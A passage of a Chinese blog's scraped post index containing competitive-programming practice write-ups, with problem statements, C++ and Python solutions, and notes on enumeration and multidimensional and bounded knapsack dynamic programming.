函数:\n1 2from itertools import combinations 3 4 5def main(): 6 while (nums := tuple(map(int, input().split(\u0026#34; \u0026#34;))))[0] != 0: 7 for c in combinations(nums[1:], 6): 8 print(*c) 9 10 11if __name__ == \u0026#34;__main__\u0026#34;: 12 main() Problem 572 | 密码箱 Description 小明的密码箱打不开了,小明的密码箱是传统的3位滚轮密码。小明完全不记得他的密码了,所以他从 000开始以升序开始尝试,他已经试到第abc位密码了,可是箱子还是没有打开,他希望你将之后所有可能尝试的密码输出,这样他就可以完全不去思考,让他波动密码盘更有效率\nInput 每行输入一个整数n(0 \u0026lt; n \u0026lt; 1000);n没有前缀0。\nOutput n之后所有可能尝试的密码;输出有前缀0的。\nSample Input 1989 Sample Output 1990 2991 3992 4993 5994 6995 7996 8997 9998 10999 好睿智的问题\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5int n; 6 7int main() { 8 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;n) != EOF) { 9 while (n \u0026lt; 999) { 10 printf(\u0026#34;%03d\\n\u0026#34;, ++n); 11 } 12 } 13 return 0; 14} Problem 621 | 字符串统计 Description 对于给定的一个字符串,统计其中数字字符出现的次数。\nInput 输入数据有多组,第一行是一个整数n,表示测试实例的个数,后面跟着n行,每行包括一个由字母和数字组成的字符串。\nOutput 对于每个测试实例,输出该串中数值的个数,每个输出占一行。\nSample Input 12 2asdfasdf123123asdfasdf 3asdf111111111asdfasdfasdf Sample Output 16 29 1#include \u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5int n, cnt; 6string s; 7 8int main() { 9 cin \u0026gt;\u0026gt; n; 10 while (n--) { 11 cnt = 0; 12 cin \u0026gt;\u0026gt; s; 13 for (const auto\u0026amp; c : s) { 14 if (c \u0026gt;= \u0026#39;0\u0026#39; \u0026amp;\u0026amp; c \u0026lt;= \u0026#39;9\u0026#39;) { 15 cnt++; 16 } 17 } 18 cout \u0026lt;\u0026lt; cnt \u0026lt;\u0026lt; endl; 19 } 20 return 0; 21} Problem 574 | 丑数 Description 只有质数2,3,5,7这几个作为因子的数叫做,丑数,比如前20个丑数是(从小到大来说) 1,2,3,4,5,6,7,8,9,10,12,14,15,16,18,20,21,24和25.\nInput 我们给你个n(1\u0026lt;= n\u0026lt;=5842)当输入n为0结束。\nOutput 输出第n个丑数。每个数一行。\nSample Input 11 22 33 44 511 Sample Output 11 22 33 44 512 使用动态规划,un[i] 表示第 i 个丑数。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;vector\u0026gt; 5#include \u0026lt;algorithm\u0026gt; 6 7 8using namespace std; 9 10int main() { 11 int n, i, ptr2, ptr3, ptr5, ptr7, nxt2, nxt3, nxt5, nxt7; 12 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;n) \u0026amp;\u0026amp; n != 0) { 13 vector\u0026lt;int\u0026gt; un(n); 14 un[0] = 1; 15 nxt2 = 2; 16 nxt3 = 3; 17 nxt5 = 5; 18 nxt7 = 7; 19 ptr2 = 0; 20 ptr3 = 0; 21 ptr5 = 0; 22 ptr7 = 0; 23 24 for (i = 1; i \u0026lt; n; i++) { 25 un[i] = min({nxt2, nxt3, nxt5, nxt7}); 26 27 if (un[i] == nxt2) { 28 ptr2++; 29 nxt2 = 2 * un[ptr2]; 30 } 31 if (un[i] == nxt3) { 32 ptr3++; 33 nxt3 = 3 * un[ptr3]; 34 } 35 if (un[i] == nxt5) { 36 ptr5++; 37 nxt5 = 5 * un[ptr5]; 38 } 39 if (un[i] == nxt7) { 40 ptr7++; 41 nxt7 = 7 * un[ptr7]; 42 } 43 } 44 45 printf(\u0026#34;%d\\n\u0026#34;, un[n - 1]); 46 } 47 return 0; 48} Problem 575 | 矩形 Description 在测试超大规模集成电路时,对给定的一个设计,专家要检测元件是否相互遮盖。一个元件可视为一个矩形,假设每个矩形都是水平排列的(边与x轴或y轴平行),所以长方形由最小的和最大的x,y坐标表示。 编程计算完全被覆盖的矩形个数。\nInput 输入有多组长方形实例。对每组长方形,第一个数字是长方形的数量,然后是长方形的最小和最大x,y坐标(最小x,最大x,最小y,最大y)。\nOutput 对每组输入数据,输出一行,是被完全覆盖的长方形数量。\nSample Input 13 2100 101 100 101 30 3 0 101 420 40 10 400 54 610 20 10 20 710 20 10 20 810 20 10 20 910 20 10 20 Sample Output 10 24 1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;vector\u0026gt; 5 6using namespace std; 7 8struct Rect { 9 int xmin, ymin, xmax, ymax; 10}; 11 12int main() { 13 vector\u0026lt;Rect\u0026gt; chips; 14 int n, cnt; 15 16 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;n) != EOF) { 17 cnt = 0; 18 chips.clear(); 19 while (n--) { 20 Rect r; 21 scanf(\u0026#34;%d %d %d %d\u0026#34;, \u0026amp;r.xmin, \u0026amp;r.xmax, \u0026amp;r.ymin, \u0026amp;r.ymax); 22 chips.push_back(r); 23 } 24 25 for (int i = 0; i \u0026lt; chips.size(); i++) { 26 for (int j = 0; j \u0026lt; chips.size(); j++) { 27 if (i != j) { 28 if (chips[j].xmin \u0026lt;= chips[i].xmin \u0026amp;\u0026amp; 29 chips[j].xmax \u0026gt;= chips[i].xmax \u0026amp;\u0026amp; 30 chips[j].ymin \u0026lt;= chips[i].ymin \u0026amp;\u0026amp; 31 chips[j].ymax \u0026gt;= chips[i].ymax) { 32 cnt++; 33 break; 34 } 35 } 36 } 37 } 38 39 printf(\u0026#34;%d\\n\u0026#34;, cnt); 40 } 41 42 return 0; 43} 最开始我的思路是,如果矩形 A 能够被矩形 B 完全覆盖,那么 A 的面积必然小于等于 B 的面积,因此先将所有矩形按照面积从小到大排序,然后使用两层循环,不重不漏两两比较。但是这样做的问题是,两个面积和形状相等的矩形无法排序,并且按照题意他们互相“完全覆盖”,所以应该算两次。\nProblem 1639 | 抽奖 Description 公司举办年会,为了活跃气氛,设置了摇奖环节。参加聚会的每位员工都有一张带有号码的抽奖券。现在,主持人依次公布 n 个不同的获奖号码,小谢看着自己抽奖券上的号码 num,无比紧张。请编写一个程序,如果小谢获奖了,请输出他中的是第几个号码;如果没有中奖,请输出 0。\nInput 第一行一个正整数 n,表示有 n 个获奖号码,$2\u0026lt;n≤100$。 第二行包含 n 个正整数,之间用一个空格隔开,表示依次公布的 n 个获奖号码。 第三行一个正整数 num,表示小谢抽奖券上的号码。 1≤获奖号码,num\u0026lt;10000。\nOutput 一行一个整数,如果小谢中奖了,表示中奖的是第几个号码;如果没有中奖,则为 0。\nSample Input 17 217 2 3 4 9555 6 1 33 Sample Output 13 Hint 暴力 单组输入\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5int n, i, num, nums[10005] = { 0 }; 6 7int main() { 8 scanf(\u0026#34;%d\u0026#34;, \u0026amp;n); 9 for (int i = 1; i \u0026lt;= n; i++) { 10 scanf(\u0026#34;%d\u0026#34;, \u0026amp;num); 11 nums[num] = i; 12 } 13 scanf(\u0026#34;%d\u0026#34;, \u0026amp;num); 14 printf(\u0026#34;%d\\n\u0026#34;, nums[num]); 15 return 0; 16} Problem 1640 | 比身高 Description 有 N 个人排成一排,假设他们的身高均为正整数,请找出其中符合以下条件的人:排在他前面且比他高的人数与排在他后面且比他高的人数相等。\nInput 第一行为一个正整数 N,$1\u0026lt;N\u0026lt;1000$,表示有多少个人。 下面 N 行,每行一个正整数,表示从前往后每个人的身高,假设每个人的身高≤10000。\nOutput 一行一个整数,表示满足这个条件的人数。\nSample Input 14 21 32 41 53 Sample Output 12 Hint 第 3、第 4 个人满足条件。 单组输入\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5int main() { 6 int n; 7 int p[1001] = { 0 }; 8 int front = 0, rear = 0, cnt = 0; 9 int i, j; 10 scanf(\u0026#34;%d\u0026#34;, \u0026amp;n); 11 12 for (i = 0; i \u0026lt; n; i++) { 13 scanf(\u0026#34;%d\u0026#34;, \u0026amp;p[i]); 14 } 15 for (i = 0; i \u0026lt; n; i++) { 16 front = 0; 17 rear = 0; 18 for (j = 0; j \u0026lt; i; j++) { 19 if (p[j] \u0026gt; p[i]) { 20 front++; 21 } 22 } 23 for (j = i + 1; j \u0026lt; n; j++) { 24 if (p[j] \u0026gt; p[i]) { 25 rear++; 26 } 27 if (rear \u0026gt; front) { 28 break; 29 } 30 } 31 if (rear == front) { 32 cnt++; 33 } 34 } 35 printf(\u0026#34;%d\u0026#34;, cnt); 36 return 0; 37} Problm 1642 | 楼层编号 Description 小林在 NOIP 比赛期间住在“新世界”酒店。和其他酒店不一样的是,这个酒店每天都有一个高能的数字 t,这个数字在楼层中是不会出现的,以 t=3 为例,则 3、13、31、33 等楼层是不存在的,楼层编号为 1,2,4,5,…所以实际上的 4 楼才是 3 楼。 已知小林预订了编号为 m 层的房间,并且当天高能数字是 t,现在他想知道房间所在的真实楼层是多少。\nInput 一行两个整数 m 和 t,1≤m≤100000,0≤t≤9,保证 m 对 t 合法。\nOutput 一行一个整数,表示真实楼层。\nSample Input 114 3 Sample Output 112 Hint 单组输入\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;string\u0026gt; 5 6using namespace std; 7 8int main() 9{ 10 int m; 11 char t; 12 scanf(\u0026#34;%d %c\u0026#34;, \u0026amp;m, \u0026amp;t); 13 int leap = 0; 14 for (int i = 1; i \u0026lt;= m; i++) { 15 if (to_string(i).find(t) != string::npos) { 16 leap++; 17 } 18 } 19 printf(\u0026#34;%d\\n\u0026#34;, m - leap); 20 return 0; 21} Problem 1643 | 比例简化 Description 在社交媒体上,经常会看到针对某一个观点同意与否的民意调查以及结果。例如,对某观点表示支持的有 1498 人,反对的有 902 人,那么其比例可以简单地记为1498∶902。 因该比例的数值太大,难以一眼看出它们的关系。若把比例记为 5∶3,虽然与真实结果有一定的误差,但依然能够较为准确地反映调查结果,同时也显得比较直观。 现给出支持人数 A 和反对人数 B,以及一个上限 L,请将 A 比 B 化简为 A′ 比 B′,要求在 A′和 B′ 均不大于 L,且 A′ 和 B′ 互质(两个整数的最大公约数为 1)的前提下,A′/B′≥ A/B 且 A′/B′-A/B 的值尽可能小。\nInput 一行三个整数 A,B,L,每两个整数之间用一个空格隔开,分别表示支持人数、反对人数以及上限。\nOutput 一行两个整数 A′ 和 B′,中间用一个空格隔开,表示化简后的比例。\nSample Input 11498 902 10 Sample Output 15 3 Hint 单组输入,$1\\leq A,B;eq1000000,1\\leq L\\leq100,\\frac{A}{B}\\leq L$\n由于 $L\\leq100$,可以尝试遍历 A' 和 B'。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5using namespace std; 6 7int gcd(int a, int b) { 8 return b == 0 ? a : gcd(b, a % b); 9} 10 11int main() 12{ 13 double a, b, ratio, e, emin = 1000001.0; 14 int l, p, q; 15 scanf(\u0026#34;%lf%lf%d\u0026#34;, \u0026amp;a, \u0026amp;b, \u0026amp;l); 16 ratio = a / b; 17 for (int i = 1; i \u0026lt;= l; i++) { 18 for (int j = 1; j \u0026lt;= l; j++) { 19 e = (i * 1.0) / (j * 1.0) - ratio; 20 if (e \u0026gt;= 0 \u0026amp;\u0026amp; e \u0026lt; emin \u0026amp;\u0026amp; gcd(i, j) == 1) { 21 emin = e; 22 p = i; 23 q = j; 24 } 25 } 26 } 27 printf(\u0026#34;%d %d\\n\u0026#34;, p, q); 28 return 0; 29} 这里要注意误差 e 是可以为 0 的。\n让 A' B' 都遍历 1 到 L 之间的所有数,会在一些绝对没有用的数据上浪费时间,比如 $A=1498,B=902,L=10$ 时绝对不会得到 $A'=1,B'=10$ 的结果。根据要求 $\\frac{A}{B}\\geq\\frac{A'}{B'}$ 得到 $A'\\leq\\frac{A}{B}\\cdot B'$。因此只需要遍历 B',随后根据原比例求出 A',再比较出最合适的比例。这样就将时间复杂度从 O(n^2) 降低到 O(n)。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;cmath\u0026gt; 5 6using namespace std; 7 8int gcd(int a, int b) { 9 return b == 0 ? a : gcd(b, a % b); 10} 11 12int main() { 13 int A, B, L; 14 int i, j, p, q; 15 double e, emin = 1000001.0; 16 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;A, \u0026amp;B, \u0026amp;L); 17 double ratio = (A * 1.0) / B; 18 for (j = 1; j \u0026lt;= L; j++) { 19 i = ceil(j * ratio); 20 if (i \u0026gt; L) { 21 break; 22 } 23 e = (i * 1.0) / j - ratio; 24 if (e \u0026lt; emin \u0026amp;\u0026amp; gcd(i, j) == 1) { 25 emin = e; 26 p = i; 27 q = j; 28 } 29 } 30 printf(\u0026#34;%d %d\u0026#34;, p, q); 31 return 0; 32} 今天是周二也刚好是除夕,收工!\n","link":"https://jackgdn.github.io/post/lanqiao-week3/","section":"post","tags":["算法","动态规划","枚举","dfs"],"title":"2025寒假算法练习——Week 3"},{"body":"","link":"https://jackgdn.github.io/tags/%E6%9E%9A%E4%B8%BE/","section":"tags","tags":null,"title":"枚举"},{"body":"题目来自洛谷题单背包问题 和 NEFU OJ\nQWQ 和 QAQ (reprise) 之前遇见过的 QWQ 和 QAQ 这道题,实际上也可以按照三维完全背包的方式来解(时间复杂度和空间复杂度更高,但是可以 AC)。\n题解 1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;cstring\u0026gt; 5#include \u0026lt;algorithm\u0026gt; 6 7using namespace std; 8 9int t, a[4] = { 0 }, b[4] = { 0 }, c[4] = { 0 }, d[4] = { 0 }, dp[205][205][205], i, j, k, l; 10 11int main() { 12 scanf(\u0026#34;%d\u0026#34;, \u0026amp;t); 13 14 while (t--) { 15 for (i = 1; i \u0026lt;= 4; i++) { 16 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;a[i % 4], \u0026amp; b[i % 4], \u0026amp;c[i % 4]); 17 } 18 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;d[1], \u0026amp;d[2], \u0026amp;d[3]); 19 20 memset(dp, 0, sizeof(dp)); 21 for (i = 1; i \u0026lt;= 3; i++) { 22 for (j = a[i]; j \u0026lt;= a[0]; j++) { 23 for (k = b[i]; k \u0026lt;= b[0]; k++) { 24 for (l = c[i]; l \u0026lt;= c[0]; l++) { 25 dp[j][k][l] = max(dp[j][k][l], dp[j - a[i]][k - b[i]][l - c[i]] + d[i]); 26 } 27 } 28 } 29 } 30 31 printf(\u0026#34;%d\\n\u0026#34;, dp[a[0]][b[0]][c[0]]); 32 } 33} 榨取kkksc03 题目描述 洛谷 2 的团队功能是其他任何 OJ 和工具难以达到的。借助洛谷强大的服务器资源,任何学校都可以在洛谷上零成本的搭建 OJ 并高效率的完成训练计划。\n为什么说是搭建 OJ 呢?为什么高效呢?\n因为,你可以上传私有题目,团队外别人是无法看到的。我们还能帮你们评测!\n你可以创建作业,给组员布置任务,查看组员的完成情况,还可以点评任意一份代码!\n你可以创建比赛!既可以是 OI 赛制还可以是 ICPC 赛制!既可以是团队内部的私有比赛,也可以公开赛,甚至可以指定谁可以参加比赛。这样,搞“x 校联赛”最合适不过了。洛谷凭借这个功能,希望能够提供公开及私有比赛的另外一个平台。\n值得说明的是,本次比赛就是采用团队私有题目+邀请比赛的机制。\n洛谷的运营组决定,如果一名 OIer 向他的教练推荐洛谷,并能够成功的使用(成功使用的定义是:该团队有 $20$ 个或以上的成员,上传 $10$ 道以上的私有题目,布置过一次作业并成功举办过一次公开比赛),那么他可以浪费掉 kkksc03 的一些时间的同时消耗掉 kkksc03 的一些金钱以满足自己的一个愿望。\nkkksc03 的时间和金钱是有限的,所以他很难满足所有同学的愿望。所以他想知道在自己的能力范围内,最多可以完成多少同学的愿望?\n输入格式 第一行三个整数 $n,M,T$,表示一共有 $n$($1 \\le n \\le 100$)个愿望, kkksc03 的手上还剩 $M$($0 \\le M \\le 200$)元,他的暑假有 $T$($0 \\le T \\le 200$)分钟时间。\n第 $2$~$n+1$ 行 $m_{i}$ , $t_{i}$ 表示第 $i$ 个愿望所需要的金钱和时间。\n输出格式 一行,一个数,表示 kkksc03 最多可以实现愿望的个数。\n样例 #1 样例输入 #1 16 10 10 21 1 32 3 43 2 52 5 65 2 74 3 样例输出 #1 14 题解 简单的二维 0-1 背包问题,而且每种物品的价值相同(都是 1)。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;algorithm\u0026gt; 5 6using namespace std; 7 8int N, M, T, dp[205][205] = { 0 }, mi, ti, i, j, k; 9 10int main() { 11 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;N, \u0026amp;M, \u0026amp;T); 12 for (i = 0; i \u0026lt; N; i++) { 13 scanf(\u0026#34;%d%d\u0026#34;, \u0026amp;mi, \u0026amp;ti); 14 for (j = M; j \u0026gt;= mi; j--) { 15 for (k = T; k \u0026gt;= ti; k--) { 16 dp[j][k] = max(dp[j][k], dp[j - mi][k - ti] + 1); 17 } 18 } 19 } 20 printf(\u0026#34;%d\u0026#34;, dp[M][T]); 21} 甚至用 Python 都能 AC:\n1def main(): 2 N, M, T = map(int, input().strip().split(\u0026#34; \u0026#34;)) 3 dp = [[0 for _ in range(T + 1)] for _ in range(M + 1)] 4 5 for i in range(N): 6 mi, ti = map(int, input().strip().split(\u0026#34; \u0026#34;)) 7 for j in reversed(range(mi, M + 1)): 8 for k in reversed(range(ti, T + 1)): 9 dp[j][k] = max(dp[j][k], dp[j - mi][k - ti] + 1) 10 print(dp[-1][-1]) 11 12 13if __name__ == \u0026#34;__main__\u0026#34;: 14 main() NASA的食物计划 题目背景 NASA(美国航空航天局)因为航天飞机的隔热瓦等其他安全技术问题一直大伤脑筋,因此在各方压力下终止了航天飞机的历史,但是此类事情会不会在以后发生,谁也无法保证。所以,在遇到这类航天问题时,也许只能让航天员出仓维修。但是过多的维修会消耗航天员大量的能量,因此 NASA 便想设计一种食品方案,使体积和承重有限的条件下多装载一些高卡路里的食物。\n题目描述 航天飞机的体积有限,当然如果载过重的物品,燃料会浪费很多钱,每件食品都有各自的体积、质量以及所含卡路里。在告诉你体积和质量的最大值的情况下,请输出能达到的食品方案所含卡路里的最大值,当然每个食品只能使用一次。\n输入格式 第一行 $2$ 个整数,分别代表体积最大值 $h$ 和质量最大值 $t$。\n第二行 $1$ 个整数代表食品总数 $n$。\n接下来 $n$ 行每行 $3$ 个数 体积 $h_i$,质量 $t_i$,所含卡路里 $k_i$。\n输出格式 一个数,表示所能达到的最大卡路里(int 范围内)\n样例 #1 样例输入 #1 1320 350 24 3160 40 120 480 110 240 5220 70 310 640 400 220 样例输出 #1 1550 提示 对于 $100%$ 的数据,$h,t,h_i,t_i \\le 400$,$n \\le 50$,$k_i \\le 500$。\n题解 1def main(): 2 H, T = map(int, input().split(\u0026#34; \u0026#34;)) 3 N = int(input()) 4 dp = [[0 for _ in range(H + 1)] for _ in range(T + 1)] 5 6 for i in range(N): 7 hi, ti, ki = map(int, input().split(\u0026#34; \u0026#34;)) 8 for j in range(ti, T + 1)[::-1]: 9 for k in range(hi, H + 1)[::-1]: 10 dp[j][k] = max(dp[j][k], dp[j - ti][k - hi] + ki) 11 print(dp[-1][-1]) 12 13 14if __name__ == \u0026#34;__main__\u0026#34;: 15 main() [NOIP2010 提高组] 乌龟棋 题目背景 NOIP2010 提高组 T2\n题目描述 小明过生日的时候,爸爸送给他一副乌龟棋当作礼物。\n乌龟棋的棋盘是一行 $N$ 个格子,每个格子上一个分数(非负整数)。棋盘第 $1$ 格是唯一的起点,第 $N$ 格是终点,游戏要求玩家控制一个乌龟棋子从起点出发走到终点。\n乌龟棋中 $M$ 张爬行卡片,分成 $4$ 种不同的类型($M$ 张卡片中不一定包含所有 $4$ 种类型的卡片,见样例),每种类型的卡片上分别标有 $1,2,3,4$ 四个数字之一,表示使用这种卡片后,乌龟棋子将向前爬行相应的格子数。游戏中,玩家每次需要从所有的爬行卡片中选择一张之前没有使用过的爬行卡片,控制乌龟棋子前进相应的格子数,每张卡片只能使用一次。\n游戏中,乌龟棋子自动获得起点格子的分数,并且在后续的爬行中每到达一个格子,就得到该格子相应的分数。玩家最终游戏得分就是乌龟棋子从起点到终点过程中到过的所有格子的分数总和。\n很明显,用不同的爬行卡片使用顺序会使得最终游戏的得分不同,小明想要找到一种卡片使用顺序使得最终游戏得分最多。\n现在,告诉你棋盘上每个格子的分数和所有的爬行卡片,你能告诉小明,他最多能得到多少分吗?\n输入格式 每行中两个数之间用一个空格隔开。\n第 $1$ 行 $2$ 个正整数 $N,M$,分别表示棋盘格子数和爬行卡片数。\n第 $2$ 行 $N$ 个非负整数,$a_1,a_2,…,a_N$,其中 $a_i$ 表示棋盘第 $i$ 个格子上的分数。\n第 $3$ 行 $M$ 个整数,$b_1,b_2,…,b_M$,表示 $M$ 张爬行卡片上的数字。\n输入数据保证到达终点时刚好用光 $M$ 张爬行卡片。\n输出格式 一个整数,表示小明最多能得到的分数。\n样例 #1 样例输入 #1 19 5 26 10 14 2 8 8 18 5 17 31 3 1 2 1 样例输出 #1 173 提示 每个测试点 1s。\n小明使用爬行卡片顺序为 $1,1,3,1,2$,得到的分数为 $6+10+14+8+18+17=73$。注意,由于起点是 $1$,所以自动获得第 $1$ 格的分数 $6$。\n对于 $30%$ 的数据有 $1≤N≤30,1≤M≤12$。\n对于 $50%$ 的数据有 $1≤N≤120,1≤M≤50$,且 $4$ 种爬行卡片,每种卡片的张数不会超过 $20$。\n对于 $100%$ 的数据有 $1≤N≤350,1≤M≤120$,且 $4$ 种爬行卡片,每种卡片的张数不会超过 $40$;$0≤a_i≤100,1≤i≤N,1≤b_i≤4,1≤i≤M$。\n题解 最开始我尝试使用深搜,然后就不出意外地超时了。尝试用动态规划解决它。定义 dp[i][j][k][l] 来表示打出 i 张 $1$、j 张 $2$、k 张 $3$ 和 l 张 $4$ 时的最大得分。因为有第一个格子当保底,所以 dp[0][0][0][0] 初始化为 a[1]。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;algorithm\u0026gt; 5#include \u0026lt;cstring\u0026gt; 6 7using namespace std; 8 9int a[355], N, M, pos, i, j, k, l, c, card[5] = { 0 }, dp[45][45][45][45]; 10 11int main() { 12 scanf(\u0026#34;%d%d\u0026#34;, \u0026amp;N, \u0026amp;M); 13 for (i = 1; i \u0026lt;= N; i++) { 14 scanf(\u0026#34;%d\u0026#34;, \u0026amp;a[i]); 15 } 16 for (i = 0; i \u0026lt; M; i++) { 17 scanf(\u0026#34;%d\u0026#34;, \u0026amp;c); 18 card[c]++; 19 } 20 21 dp[0][0][0][0] = a[1]; 22 for (i = 0; i \u0026lt;= card[1]; i++) { 23 for (j = 0; j \u0026lt;= card[2]; j++) { 24 for (k = 0; k \u0026lt;= card[3]; k++) { 25 for (l = 0; l \u0026lt;= card[4]; l++) { 26 pos = 1 + i + 2 * j + 3 * k + 4 * l; 27 28 if (i \u0026gt; 0) { 29 dp[i][j][k][l] = max(dp[i][j][k][l], dp[i - 1][j][k][l] + a[pos]); 30 } 31 if (j \u0026gt; 0) { 32 dp[i][j][k][l] = max(dp[i][j][k][l], dp[i][j - 1][k][l] + a[pos]); 33 } 34 if (k \u0026gt; 0) { 35 dp[i][j][k][l] = max(dp[i][j][k][l], dp[i][j][k - 1][l] + a[pos]); 36 } 37 if (l \u0026gt; 0) { 38 dp[i][j][k][l] = max(dp[i][j][k][l], dp[i][j][k][l - 1] + a[pos]); 39 } 40 } 41 } 42 } 43 } 44 printf(\u0026#34;%d\\n\u0026#34;, dp[card[1]][card[2]][card[3]][card[4]]); 45 46 return 0; 47} ","link":"https://jackgdn.github.io/post/algo-knapsackproblem-4/","section":"post","tags":["算法","动态规划","背包问题"],"title":"背包问题——多维背包问题"},{"body":"多重背包问题讲解视频:多重背包两种解法硬头皮算和二进制优化 动态规划\n题目来自洛谷题单背包问题\n樱花 题目背景 《爱与愁的故事第四弹·plant》第一章。\n题目描述 爱与愁大神后院里种了 $n$ 棵樱花树,每棵都有美学值 $C_i(0 \\le C_i \\le 200)$。爱与愁大神在每天上学前都会来赏花。爱与愁大神可是生物学霸,他懂得如何欣赏樱花:一种樱花树看一遍过,一种樱花树最多看 $P_i(0 \\le P_i \\le 100)$ 遍,一种樱花树可以看无数遍。但是看每棵樱花树都有一定的时间 $T_i(0 \\le T_i \\le 100)$。爱与愁大神离去上学的时间只剩下一小会儿了。求解看哪几棵樱花树能使美学值最高且爱与愁大神能准时(或提早)去上学。\n输入格式 共 $n+1$行:\n第 $1$ 行:现在时间 $T_s$(几时:几分),去上学的时间 $T_e$(几时:几分),爱与愁大神院子里有几棵樱花树 $n$。这里的 $T_s$,$T_e$ 格式为:hh:mm,其中 $0 \\leq hh \\leq 23$,$0 \\leq mm \\leq 59$,且 $hh,mm,n$ 均为正整数。\n第 $2$ 行到第 $n+1$ 行,每行三个正整数:看完第 $i$ 棵树的耗费时间 $T_i$,第 $i$ 棵树的美学值 $C_i$,看第 $i$ 棵树的次数 $P_i$($P_i=0$ 表示无数次,$P_i$ 是其他数字表示最多可看的次数 $P_i$)。\n输出格式 只有一个整数,表示最大美学值。\n样例 #1 样例输入 #1 16:50 7:00 3 22 1 0 33 3 1 44 5 4 样例输出 #1 111 提示 $100%$ 数据:$T_e-T_s \\leq 1000$(即开始时间距离结束时间不超过 $1000$ 分钟),$n \\leq 10000$。保证 $T_e,T_s$ 为同一天内的时间。\n样例解释:赏第一棵樱花树一次,赏第三棵樱花树 $2$ 次。\n题解 一个背包问题中完全背包与多重背包的混合题型。将多重背包使用二进制优化转化为 0-1 背包问题后,只要对不同物品使用不同的状态转移方程即可。\n1def main(): 2 Ts, Te, n = input().split(\u0026#34; \u0026#34;) 3 Tsh, Tsm = map(int, Ts.split(\u0026#34;:\u0026#34;)) 4 Teh, Tem = map(int, Te.split(\u0026#34;:\u0026#34;)) 5 T = Teh * 60 + Tem - Tsh * 60 - Tsm 6 n = int(n) 7 8 t, c, p = [0], [0], [0] 9 for _ in range(n): 10 ti, ci, pi = map(int, input().split(\u0026#34; \u0026#34;)) 11 if pi: 12 k = 1 13 while k \u0026lt;= pi: 14 t.append(ti * k) 15 c.append(ci * k) 16 p.append(0) 17 pi -= k 18 k *= 2 19 if pi: 20 t.append(ti * pi) 21 c.append(ci * pi) 22 p.append(0) 23 else: 24 t.append(ti) 25 c.append(ci) 26 p.append(1) 27 28 dp = [0 for _ in range(T + 1)] 29 for i in range(1, len(p)): 30 if p[i]: 31 for j in range(t[i], T + 1): 32 dp[j] = max(dp[j], dp[j - t[i]] + c[i]) 33 else: 34 for j in reversed(range(t[i], T + 1)): 35 dp[j] = max(dp[j], dp[j - t[i]] + c[i]) 36 print(dp[-1]) 37 38 39if __name__ == \u0026#34;__main__\u0026#34;: 40 main() 这段代码提交上去后,有两个测试点超时。观察代码后发现,程序可以在处理输入数据时同时完成对 dp 数组的遍历来减少循环次数。\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;algorithm\u0026gt; 3 4using namespace std; 5 6int main() { 7 int Tsh, Tsm, Teh, Tem, n; 8 char c; 9 cin \u0026gt;\u0026gt; Tsh \u0026gt;\u0026gt; c \u0026gt;\u0026gt; Tsm \u0026gt;\u0026gt; Teh \u0026gt;\u0026gt; c \u0026gt;\u0026gt; Tem \u0026gt;\u0026gt; n; 10 int T = Teh * 60 + Tem - Tsh * 60 - Tsm; 11 12 int dp[1001] = { 0 }; 13 while (n--) { 14 int Ti, Ci, Pi; 15 cin \u0026gt;\u0026gt; Ti \u0026gt;\u0026gt; Ci \u0026gt;\u0026gt; Pi; 16 if (Pi) { 17 int k = 1; 18 while (k \u0026lt;= Pi) { 19 for (int i = T; i \u0026gt;= Ti * k; i--) { 20 dp[i] = max(dp[i], dp[i - Ti * k] + Ci * k); 21 } 22 Pi -= k; 23 k *= 2; 24 } 25 if (Pi) { 26 for (int i = T; i \u0026gt;= Ti * Pi; i--) { 27 dp[i] = max(dp[i], dp[i - Ti * Pi] + Ci * Pi); 28 } 29 } 30 } 31 else { 32 for (int i = Ti; i \u0026lt;= T; i++) { 33 dp[i] = max(dp[i], dp[i - Ti] + Ci); 34 } 35 } 36 } 37 cout \u0026lt;\u0026lt; dp[T]; 38 return 0; 39} 用 C++ 还是因为 Python 过不了。\n[SNOI2017] 英雄联盟 题目描述 正在上大学的小皮球热爱英雄联盟这款游戏,而且打的很菜,被网友们戏称为「小学生」。\n现在,小皮球终于受不了网友们的嘲讽,决定变强了,他变强的方法就是:买皮肤!\n小皮球只会玩 $\\text{N}$ 个英雄,因此,他也只准备给这 $\\text{N}$ 个英雄买皮肤,并且决定,以后只玩有皮肤的英雄。\n这 $\\text{N}$ 个英雄中,第 $\\text{i}$ 个英雄有 $K_i$ 款皮肤,价格是每款 $C_i$ Q 币(同一个英雄的皮肤价格相同)。\n为了让自己看起来高大上一些,小皮球决定给同学们展示一下自己的皮肤,展示的思路是这样的:对于有皮肤的每一个英雄,随便选一个皮肤给同学看。\n比如,小皮球共有 5 个英雄,这 5 个英雄分别有 $\\text{0,0,3,2,4}$ 款皮肤,那么,小皮球就有 $3 \\times 2 \\times 4 = 24$ 种展示的策略。\n现在,小皮球希望自己的展示策略能够至少达到 $\\text{M}$ 种,请问,小皮球至少要花多少钱呢?\n输入格式 第一行,两个整数 $\\text{N,M}$。\n第二行,$\\text{N}$ 